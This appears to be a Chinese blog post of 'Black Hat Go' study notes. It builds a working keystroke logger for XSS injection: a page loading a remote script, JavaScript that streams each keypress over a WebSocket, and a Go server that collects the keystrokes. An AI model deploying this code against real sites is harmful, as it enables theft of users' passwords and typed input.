​零基础学go-GO黑帽子学习笔记-4.3 利用XSS获取用户输入内容

admin 2022年10月26日01:27:40评论60 views字数 4775阅读15分55秒阅读模式

零基础学go

GO黑帽子学习笔记-4.3 利用XSS获取用户输入内容

(4.3 使用WebSocket API实现按键记录)

WebSocket API

近年来,全双工协议WebSocket API日益流行,现在许多浏览器都支持它。它为Web应用服务器和客户端提供了一种方法。最重要的是,它允许服务器无需轮询即可将消息发送到客户端。

其对于聊天和游戏之类的实时应用很有用,但是我们也可以将它用于邪恶目的,比如我们利用键盘记录程序注入应用程序来捕获用户按下的每一个健。假如我们发现了一个XSS漏洞,那么我们可以向其中注入JavaScript脚本,或者我们已经拿到了服务器权限,可以直接对其源码进行修改。无论哪种情况,我们都需要包含进一个远程的JavaScript文件。而我们本次将实现这个文件,并建立接受服务器来接收用户输入的内容。

HTML

我们首先需要搭建一个web服务器,用来存放我们的html代码,并在该代码中引入我们的JavaScript文件,利用该文件获取用户的按键信息,并发送给我们的服务器。

<!DOCRTYPE html>
<html>
<head>
<title>Login</title>
</head>
<body>
<script src='http://127.0.0.1:8080/k.js'></script>
<form action='/login' method='post'>
<input name='usrename'/>
<input name='password'/>
<input type='submit'/>
</form>
</body>
</html>

然后我们利用python快速启动一个http服务器。

python3 -m http.server

我们可以看到,我们完成了一个带有两个输入框的网页,且在其中引用了我们本地8080端口的k.js文件。在正常情况下我们便可以利用xss来引用我们的js文件,来获取我们的用户输入的按键信息。然后我们来完成我的这个k.js文件。

​零基础学go-GO黑帽子学习笔记-4.3 利用XSS获取用户输入内容****

JavaScript

我们的服务器需要做两件事,提供我们需要的js文件,并且接收WebSocket的信息。首先,让我们来完成JavaScript文件。我们这里学习的是go,所以关于javaScript不作过多解释。书中提供了地址可以让我们来学习有关GO编写JavaScript的说明。(https://github.com/gopherjs/gopherjs/)代码如下所示。

(function() {
var conn = new WebSocket("ws://{{.}}/ws");
document.onkeypress = keypress;
function keypress(evt) {
s = String.fromCharCode(evt.which);
conn.send(s);
}
})();

我们使用js处理按键事件,每当用户按下一个键,代码都会通过WebSocket将按下的键发送到ws://(占位符)/ws上的资源。在本次中表示一个WebSocket URL,它将根据传递给模版的字符填充服务器位置信息。我们将该文件保存味logger.js。

需要注意的是,我们要将其作为k.js提供,而我们的logger.js是go的一个模版,并不是实际的JavaScript文件。我们将使用k.js作为路由中的匹配模式。当匹配时,服务器会渲染存储在logger.js文件中的模版,将其包含表示WebSocket连接到主机的上下文数据。

WebSocket服务器

接下来我们完成我们的websocket服务器,注意我们和之前一样要先创建go.mod,然后将github上的websocket库get下来,具体命令见之前的文章。该库是用阿里处理WebSocket通信的,功能十分强大,可以简化我们的开发过程。

package main

import (
"flag"
"fmt"
"log"
"net/http"
"text/template"

"github.com/gorilla/mux"
"github.com/gorilla/websocket"
)

var (
upgrader = websocket.Upgrader{
CheckOrigin: func(r *http.Request) bool { return true },
}

listenAddr string
wsAddr string
jsTemplate *template.Template
)

func init() {
flag.StringVar(&listenAddr, "listen-addr", "", "Address to listen on")
flag.StringVar(&wsAddr, "ws-addr", "", "Address for WebSocket connection")
flag.Parse()
var err error
jsTemplate, err = template.ParseFiles("logger.js")
if err != nil {
panic(err)
}
}

func serveWS(w http.ResponseWriter, r *http.Request) {
conn, err := upgrader.Upgrade(w, r, nil)
if err != nil {
http.Error(w, "", 500)
return
}
defer conn.Close()
fmt.Printf("Connection form %sn", conn.RemoteAddr().String())
for {
_, msg, err := conn.ReadMessage()
if err != nil {
return
}
fmt.Printf("From %s : %sn", conn.RemoteAddr().String(), string(msg))
}
}

func serveFile(w http.ResponseWriter, r *http.Request) {
w.Header().Set("Content-Type", "application/javascript")
jsTemplate.Execute(w, wsAddr)
}

func main() {
r := mux.NewRouter()
r.HandleFunc("/ws", serveWS)
r.HandleFunc("/k.js", serveFile)
log.Fatal(http.ListenAndServe(":8080", r))
}

首先,我们在14-22行定义了一个名为websocket.Upgrader的实例,该实例实际上会将每个来源列入白名单。当然,在实际中,将所有来源列入白名单的做法往往是不安全的,但是我们仅在本地测试使用,所以就先这样搞。

函数init()在main()函数前自动执行,我们定义了命令行参数并尝试解析存储在logger.js文件中的go模版。我们首先来看flag.StringVar(p * , name , value , usage),它是一个命令后参数解析用的函数,我们都知道python可以python3 mian.py -u url 或者python3 main.py -h这样执行一些命令行参数,而go也一样,就是通过该函数去实现的,并且我们使用该函数便会自动帮我们完成-h调出帮助文档的操作。我们来看这个函数的参数,首先是将用户输入的内容赋值给的参数,然后是参数的名字,默认值和说明。需要注意的是,我们必须使用flag.Parse()才能将用户输入的参数解析为对应变量的值。

​零基础学go-GO黑帽子学习笔记-4.3 利用XSS获取用户输入内容

而template.ParseFiles()则用来解析存储在logger.js文件中的go模版。然后我们检查响应,判断是否正确解析。如果出现错误则使用panic()来手动出发宕机。如果一切正常,则会将已解析的模版存储在jsTemplate变量中。

目前,我们尚未向模版提供任何上下文数据,也没有执行模版。首先,我们定义一个为名serveWS()的函数,该函数用来处理WebSocket通信。我们首先通过upgrader.Upgrade(http.ResponseWriter, *http.Request, http.Header)来创建新的websocket.Conn实例。方法UPgreade实现了升级HTTP连接使用WebSocket协议。这意味着此函数处理的任何请求都将升级为使用WebSocket。然后我们在死循环中重复与连接进行交互,调用conn.ReadMessage()读取传入的消息。如果我们的js文件工作一切正常,我们可以获取用户的按键信息,并利用conn.RemoteAddr().String()来获得客户端的远程ip地址。

然后我们要创建另一个名为serveFile()的处理函数,此函数将检索并返回JavaScript模版的内容,其中包括上下文数据。所以我们要将http头中的Content-Type字段设置为application/javascript。这告诉浏览器要把HTTP响应正文内容视为JavaScript。然后调用jsTemplate.Execute(w, wsAddr)。我们在上面的init函数中,处理我们的js模版并存储在jsTemplate变量中,在这行代码中处理该模版,然后将其传递给http.ResponseWriter和类型为interface{}的变量,注意我们是传入了一个string型的变量,而interface{}类型在函数中定义时,代表我们可以传入任何类型的变量,也就是说实际Execute()函数定义的时候,第二个参数使用的是interface{}类型,允许我们传入任何类型的变量。我们此时回头看init()函数,发现我们传入的是本地的服务器的监听地址。这样,我们就可以在logger.js文件中的占位符设置我们的websocket服务器地址。简单来说,它使用数据填充模版,并作为http响应写入。

最后,我们在main函数中创建路由,并将来执行匹配模式,使用/ws来执行函数serveWS()来升级为和处理WebSocket连接。而第二条路由与k.js匹配,来执行函数serveFile()函数,利用此方法,服务器可以将渲染后的js模版发送给客户端。

go run main.go -listen-addr=127.0.0.1:8080 -ws-addr=127.0.0.1:8080
​零基础学go-GO黑帽子学习笔记-4.3 利用XSS获取用户输入内容
​零基础学go-GO黑帽子学习笔记-4.3 利用XSS获取用户输入内容

我们可以看到已经成功获得来用户输入的内容。然后我们来看下k.js文件,发现已经成功的将我们输入的wsAddr地址放在了占位符中。

​零基础学go-GO黑帽子学习笔记-4.3 利用XSS获取用户输入内容

当然,假如我们要从其他服务器上调用k.js,html文件本身的代码可能需要调整。我们还可以通过多种方式来改变这个代码,比如我们可以通过输出记录到文件中,而不是在终端中直接显示。同时,我们可以对客户端输入的内容利用ip地址进行分组,来记录多个客户端的按键记录。

关注公众号并回复“go黑帽子”获取源码
使


​零基础学go-GO黑帽子学习笔记-4.3 利用XSS获取用户输入内容



mac利用腾讯云函数搭建代理池


零基础学go—GO黑帽子学习笔记-4.2 凭证收割


零基础学go—GO黑帽子学习笔记-4.1 HTTP服务器基础


零基础学go—GO黑帽子学习笔记-3.4 使用BingScraping解析文档元数据


零基础学go—GO黑帽子学习笔记-3.3 msf客户端的实现


零基础学go—GO黑帽子学习笔记-3.2 FoFa客户端实现


原文始发于微信公众号(开普勒安全团队):​零基础学go-GO黑帽子学习笔记-4.3 利用XSS获取用户输入内容

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年10月26日01:27:40
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   ​零基础学go-GO黑帽子学习笔记-4.3 利用XSS获取用户输入内容https://cn-sec.com/archives/1371242.html

发表评论

匿名网友 填写信息